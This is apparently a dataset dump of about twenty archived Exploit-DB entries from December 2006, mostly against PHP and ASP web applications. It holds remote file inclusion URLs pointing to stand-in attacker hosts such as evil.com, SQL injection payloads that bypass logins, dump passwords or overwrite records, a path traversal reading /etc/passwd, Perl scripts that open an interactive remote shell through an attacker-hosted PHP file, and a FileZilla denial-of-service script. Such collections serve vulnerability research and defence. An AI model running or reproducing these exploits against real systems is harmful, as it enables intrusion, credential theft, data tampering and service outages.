QLWD/code_shield huggingface dataset:
标题: mxBB Module mx_modsdb 1.0 - Remote File Inclusion EDB-ID: 2921 CVE: 2006-6560 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-12 漏洞利用脚本: mx_modsdb v.1.0.0 (common.php) Remote Inclusion Vulnerability


**************************************************************
Critical Level : Dangerous
**************************************************************
Script Download: http://forums.phpmix.org/download.php?id=26
**************************************************************
Bugfounder: Lu7k
**************************************************************
Contact Me : www.school-of-hack.de or lu7k@mail.nu
**************************************************************

-----------------------------------------------------------------------------

Code:http://[target]/[patH]/includes/common.php?module_root_path=http://Ev!LScr!pt.txt

-----------------------------------------------------------------------------

*************************************************************
Greetings: Bdrok - TheJT - MyMaster - str0ke - 404-crew.de.vu
*************************************************************

# milw0rm.com [2006-12-12] URL: https://www.exploit-db.com/exploits/2921
标题: mxBB Module kb_mods 2.0.2 - Remote File Inclusion EDB-ID: 2924 CVE: 2006-6568 2006-6567 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-12 漏洞利用脚本: _____         __  __             __      ___
|  __ \       |  \/  |            \ \    / (_)
| |  | |_ __  | \  / | __ ___  __  \ \  / / _ _ __ _   _ ___
| |  | | '__| | |\/| |/ _` \ \/ /   \ \/ / | | '__| | | / __|
| |__| | |    | |  | | (_| |>  <     \  /  | | |  | |_| \__ \
|_____/|_|    |_|  |_|\__,_/_/\_\     \/   |_|_|   \__,_|___/

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
                        Knowledgebase kb_mods  Multiple Remote
Vulnerablities
                            Remote File Inclusion & Local File Inclusion
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Script:knowledgebase
Version:2.0.2
Download:http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=55
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Author:Dr Max Virus
Location:Egypt
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Bug in :includes/common.php
Vul Code:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Problem:The variable of phpEx & many variables are not sanitized
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
POC:
http://[target]/mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path=Evil Code
http://[target]/mxBB/modules/kb_mods/includes/kb_constants.php?kb_constants.php&board_config[default_lang]=english&phpEx=../../..
/../../etc/passwd
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Thx to:str0ke & All My Friends
Special Gr33ts:AsianEagle & The Master & Kacper & HotTurk
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=

# milw0rm.com [2006-12-12] URL: https://www.exploit-db.com/exploits/2924
标题: Sophos / Trend Micro AntiVirus - '.RAR' File Denial of Service (PoC) EDB-ID: 2912 CVE: 2006-5645 类型: DOS 平台: MULTIPLE 发布日期: 2006-12-10 漏洞利用脚本: Multiple Vendor Antivirus RAR File Denial of Service Vulnerability

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2912.rar (12102006-sophos_intifiniti.rar)

# milw0rm.com [2006-12-10] URL: https://www.exploit-db.com/exploits/2912
标题: mxBB Module ErrorDocs 1.0 - 'common.php' Remote File Inclusion EDB-ID: 2917 CVE: 2006-6545 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-11 漏洞利用脚本: => mxBB Module mx_errordocs 1.0 Remote File Include Vulnerability

=> Mod-Download: http://forums.phpmix.org/download.php?id=27

=> Bugfounder: bd0rk || SOH-Crew

=> Vulnerable code in common.php

=> Greetings: str0ke, broken-error, Martn & m0rphin

[+] Exploit: http://[target]/[patH]/includes/common.php?module_root_path=YouRSheLL?

=> Special Fixtip: Declare $module_root_path or use Hacking Attempt

# milw0rm.com [2006-12-11] URL: https://www.exploit-db.com/exploits/2917
标题: Sophos AntiVirus - '.CHM' Chunk Name Length Memory Corruption (PoC) EDB-ID: 2911 CVE: 2006-5647 类型: DOS 平台: MULTIPLE 发布日期: 2006-12-10 漏洞利用脚本: Sophos Antivirus CHM Chunk Name Length Memory Corruption Vulnerability

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2911.chm (12092006-sophos_namelen.chm)

# milw0rm.com [2006-12-10] URL: https://www.exploit-db.com/exploits/2911
标题: Microsoft Word Document - Malformed Pointer (PoC) EDB-ID: 2922 CVE: 2006-6628 2006-6561 类型: DOS 平台: WINDOWS 发布日期: 2006-12-12 漏洞利用脚本: =====
The file I have attached is a very basic two stage bug.  stage 1 (the
first mod) forces the code down a wrong path.  the second mod by
itsself is harmless, however when used with the first it will be the
first and part of the second overwrite.

I have use 41414141 as a marker to make it easier for you to see.

I have made it crash the wordviewer again to make it more obvious

Weight,
location: 00000274
value   : 00000022 - just so it crashes, values 00000001 -> 00000006
are probably the most useful for trying to overwrite a pointer. notice
that neighbouring areas can be weighted the same.

marker,
location: 000027e4
value   : 41414141

the weight destination address == ((weight * 4[this is EDI]) + 4 [ECX*4]) + source memory offest[ESI].

[also the meta data is microsofts, not mine]
======

bug hugs,

disco.

poc: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2922.doc (12122006-djtest.doc)

# milw0rm.com [2006-12-12] URL: https://www.exploit-db.com/exploits/2922
标题: Sophos AntiVirus - '.CHM' File Heap Overflow (PoC) EDB-ID: 2910 CVE: 2006-5646 类型: DOS 平台: MULTIPLE 发布日期: 2006-12-10 漏洞利用脚本: Sophos Antivirus CHM File Heap Overflow Vulnerability

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2910.chm (12092006-sophos_chunkheap.chm)

# milw0rm.com [2006-12-10] URL: https://www.exploit-db.com/exploits/2910
标题: HR Assist 1.05 - 'vdateUsr.asp' Remote Authentication Bypass EDB-ID: 2909 CVE: 2006-6525 2006-6524 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-09 漏洞利用脚本: *******************************************************************************
# Title   :  HR Assist <= 1.05 (vdateUsr.asp) Remote Login ByPass SQL Injection
# Author  :  ajann
# Page    :  http://www.ezhrs.com
# Contact :   :(
# $$$     :  $45

*******************************************************************************
Example:

###http://[target]/[path]/

UserName: ' union select 0,0,0,0,0,0,0,0,0,0,0,0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09] URL: https://www.exploit-db.com/exploits/2909
标题: FileZilla FTP Server 0.9.21 - 'LIST/NLST' Denial of Service EDB-ID: 2914 CVE: 2006-6565 2006-6564 类型: DOS 平台: WINDOWS 发布日期: 2006-12-11 漏洞利用脚本: <?php

# Filezilla FTP Server 0.9.20 beta / 0.9.21 "LIST", "NLST" and "NLST -al" Denial Of Service
# by shinnai
# mail: shinnai[at]autistici[dot[org]
# site: http://shinnai.altervista.org
#
# special thanks to rgod for his first advisory about "STOR" Denial of service, see: http://retrogod.altervista.org/filezilla_0921_dos.html
# and for code in php I never could write alone ;)
# This one works fine also with an user with only read and list permissions enabled
# you can change the LIST command also with NLST or NLST -al comamnds

# tested on Windows XP Professional SP2 all patched

error_reporting(E_ALL);

$service_port = getservbyname('ftp', 'tcp');
$address = gethostbyname('127.0.0.1');

$user="test";
$pass="test";

$junk.="A*";

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
  echo "socket_create() failed:\n reason: " . socket_strerror($socket) . "\n";
} else {
  echo "OK.\n";
}

$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
  echo "socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n";
} else {
  echo "OK.\n";
}

$out=socket_read($socket, 240);
echo $out;

$in = "USER ".$user."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "PASS ".$pass."\r\n";
socket_write($socket, $in, strlen ($in));

$out=socket_read($socket, 80);
echo $out;

$in = "PASV ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

$in = "PORT ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

$in = "LIST ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));

socket_close($socket);

?>

# milw0rm.com [2006-12-11] URL: https://www.exploit-db.com/exploits/2914
标题: Request For Travel 1.0 - 'product' SQL Injection EDB-ID: 2908 CVE: 2006-6559 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-09 漏洞利用脚本: *************************************************************************************
# Title   :  Request For Travel 1.0 (product) | Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# $$$     :  $8,000

*************************************************************************************


[[SQL]]]

###http://[target]/[path]//ProductDetails.asp=[SQL]

Example:
-> All News Title Changed to = "kro"

//ProductDetails.asp?from=desc&mod=region&CID=-1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'--

-> Just NewsId Title Changed to = "kro"
//ProductDetails.asp?from=desc&mod=region&CID=-1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'%20where%20NewsID=2--

[[/SQL]]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09] URL: https://www.exploit-db.com/exploits/2908
标题: SpotLight CRM 1.0 - 'login.asp' SQL Injection EDB-ID: 2907 CVE: 2006-6543 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-09 漏洞利用脚本: *************************************************************************************
# Title   :  SpotLight CRM 1.0 (login.asp) | Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# $$$     :  $2,499

*************************************************************************************


[[SQL]]]

###http://[target]/[path]//login.asp=[POST SQL]

Example:
-> All User UserName And Password Changed "kro"

// login.asp UserName: ';update login set password='kro'--
// login.asp UserName: ';update login set loginName='kro'--

[[/SQL]]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09] URL: https://www.exploit-db.com/exploits/2907
标题: CM68 News 12.02.06 - 'addpth' Remote File Inclusion EDB-ID: 2897 CVE: 2006-6544 2006-6462 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-08 漏洞利用脚本: Vulnerable Software:cm68news
Vulnerable file: /engine/oldnews.inc.php
Credits: Paul Bakoyiannis
Vulnerable Variable: addpath
Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?&

# milw0rm.com [2006-12-08] URL: https://www.exploit-db.com/exploits/2897
标题: mxBB Module Profile CP 0.91c - Remote File Inclusion EDB-ID: 2904 CVE: 2006-6566 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: ###############################################################################
##                                                                           ##
## mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability ##
##                                                                           ##
## Bugfound3R: bd0rk || SOH-Crew                                             ##
##                                                                           ##
## Website: www.soh-crew.it.tt                                               ##
##                                                                           ##
## Greetz: str0ke, Lu7k, TheJT, Natok                                        ##
##                                                                           ##
###############################################################################

Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=70

==> Vulnerable Code in profilcp_constants.php <==

Code: include_once($module_root_path . 'includes/lang_extend_mac.'.$phpEx);

Usage: http://[y0uRSiTe]/[direct0ry]/includes/profilcp_constants.php?module_root_path=http://Sh3LL?

# milw0rm.com [2006-12-09] URL: https://www.exploit-db.com/exploits/2904
标题: Phorum 3.2.11 - 'common.php' Remote File Inclusion EDB-ID: 2894 CVE: 2006-6550 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-06 漏洞利用脚本: ===========================================================
Yee7TeaM

WwW.Yee7.CoM
===========================================================

Software: Phorum v3.2.11

Vendor: http://www.phorum.org/

Download: http://skrypty.webpc.pl/pobierz274.html

Dork: "Copyright (C) 2000  Phorum Development Team"  and back form doc
folder :)

Description:

Line 31 of common.php

>
>>  // $db_file = './db/postgresql65.php';
>

Exploit: http://[localhost]/[paTh]/common.php?db_file=[Ev!lScript]


===========================================================
By: Mr-m07
Thanx To: ShockShadow & AL-SHIKH
WwW.Yee7.CoM
===========================================================

# milw0rm.com [2006-12-06] URL: https://www.exploit-db.com/exploits/2894
标题: Fantastic News 2.1.4 - 'news.php' SQL Injection EDB-ID: 2906 CVE: 2006-6542 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: #!perl
#Download:http://fscripts.com/download.php?file=1
use IO::Socket;
#dc3.dl.am
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
  $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET
".$path."/news.php?action=profile&id=-1%20UNION%20SELECT%201,2,3,4,5,password,1,2,3,4,5,6,7,8,9%20FROM%20fn_users%20WHERE%20user_id=".$id."/*
HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/<td>(.*?)<\/td>/ && print
"--------------------------------------------\n[+]UserName:
$1\n[+]PassWord:";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
 } else {
print "[-]Error";
   }
 }
sub header() {
print "\n";
print "#######################################\n";
print "#                                     #\n";
print "#            #  #####   #####         #\n";
print "#            #  #           #         #\n";
print "#         ####  #         ###         #\n";
print "#         #  #  #           #         #\n";
print "#         ####  #####   #####         #\n";
print "#                                     #\n";
print "#      fscripts.pl host /path/ 1      #\n";
print "#                                     #\n";
print "#######################################\n";
print "\n";
exit;
}
#dc3.dl.am
#---------------------
#bY dC³ - Crew ...

# milw0rm.com [2006-12-09] URL: https://www.exploit-db.com/exploits/2906
标题: J-OWAMP Web Interface 2.1b - 'link' Remote File Inclusion EDB-ID: 2895 CVE: 2006-6453 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-07 漏洞利用脚本: #!/usr/bin/perl
#  Jowamp  WebInterface v 2.1 Remote File Inclusion Vulnerablity
# Vulnerability found & Exploit [c]oded By Dr Max Virus
# Download:http://www.av.it.pt/jowamp/index_files/JOWAMP_WebInterface_version_2_1.zip
# User Must Be Logged In!
# In a web browser open the page http://localhost/jowamp/login/register.php to register new users. 


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.'/JOWAMP_files/JOWAMP_ShowPage.php?link='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
# The response of the server to the GET request we sent is stored in the
$info variable
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;


#Sub-Rountines
sub header()
{
print q{
********************************************************************************
Jowamp WebInterface v2.1  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
********************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl <jowamp fullpath> <Shell Location> <Shell Cmd>

<phorum-3.4.8a FULL PATH> - Path to site exp. www.site.com

<Shell Location> - Path to shell exp. www.evilhost.com/shell.txt

<Shell Cmd Variable> - Command variable for php shell

Example: perl exploit.pl http://www.site.com/jowamp/
**********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-07] URL: https://www.exploit-db.com/exploits/2895
标题: Gizzar 03162002 - 'index.php' Remote File Inclusion EDB-ID: 2905 CVE: 2006-6526 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-09 漏洞利用脚本: #!/usr/bin/perl
#gizzar --Remote File Inclusion Vulnerablity
#Class = Remote File Inclusion
#Bug Found & Exploit [c]oded By  DeltahackingTEAM      (Dr.Trojan&Dr.Pantagon)
#Download:http://switch.dl.sourceforge.net/sourceforge/gizzar/gizzar-03162002.tar.gz
#Vulnerable
#Code:include_once($basePath."include/config.php")&include_once($basePath."include/access.php")
#exploit: http://[site]/gizzar/index.php?basePath=http://yourscript

use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'/index.php?basePath='.$shellsite='.?&'.$cmdv.'='.$cmd) or die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}
elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;



sub header()
{
print q{
*******************************************************************************
         ***(#$#$#$#$#$=>http://www.deltasecurity.ir<=#$#$#$#$#$)***

Vulnerablity found By: DeltahackingTEAM

Exploit [c]oded By: Dr.Trojan

Dr.Trojan,HIV++,D_7j,Lord,VPc,IMpostor,Dr.Pantagon

http://advistory.deltasecurity.ir

We Server(99/999% Secure) <<<<<www.takserver.ir>>>>>

Email:Dr.Trojan[A]deltasecurity.ir 0nly Black Hat
******************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[gizzar FULL PATH] - Path to site exp. www.site.com
[shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif
[shell Cmd Variable] - Command variable for php shell
Example: perl delta.pl http://www.site.com/[gizzar]/
********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-09] URL: https://www.exploit-db.com/exploits/2905
标题: Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion EDB-ID: 2896 CVE: 2006-6551 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-08 漏洞利用脚本: #!/usr/bin/perl
#Tucows Open Project --Remote File Inclusion Vulnerablity
#Bug Found & Exploit [c]oded By Dr Max Virus
#Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2006-209-1337.zip


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.'/libs/tucows/api/cartridges/crt_TUCOWS_domains/lib/domainutils.inc.php?_ENV[TCA_HOME]='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;



sub header()
{
print q{
*******************************************************************************
Tucows open Project  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
******************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[tucows FULL PATH] - Path to site exp. www.site.com
[shell Location] - Path to shell exp. www.evilhost.com/shell.txt
[shell Cmd Variable] - Command variable for php shell
Example: perl exploit.pl http://www.site.com/[tucows]/
********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-08] URL: https://www.exploit-db.com/exploits/2896
标题: CuteNews aj-fork 167f - 'cutepath' Remote File Inclusion EDB-ID: 2891 CVE: 2006-6546 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-04 漏洞利用脚本: ===========================================================================================================
DeltasecurityTEAM
www.Deltasecurity.ir
===========================================================================================================
* Portal Name : cutenews aj-fork

* Class = Remote File Inclusion ;
 
* Download =http://mesh.dl.sourceforge.net/sourceforge/ajfork/cn_aj_167.zip

* Found by = DeltahackingTEAM

* User In Delta Team (Tanha )

----------------------------------------------------------------------------------------------------------
- Vulnerable Code
--------------------

    include($cutepath.'/inc/plugins.php');

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:
    http://[target]/[Path]/inc/shows.inc.php?cutepath=http://evilsite.com/shell?

----------------------------------------------------------------------------------------------------------
Sp Tnx For All Admin And All Member EXCEPT DR.TROJAN
Sp Tnx For Dr.Pantagon For Learning Find Bug

# milw0rm.com [2006-12-04] URL: https://www.exploit-db.com/exploits/2891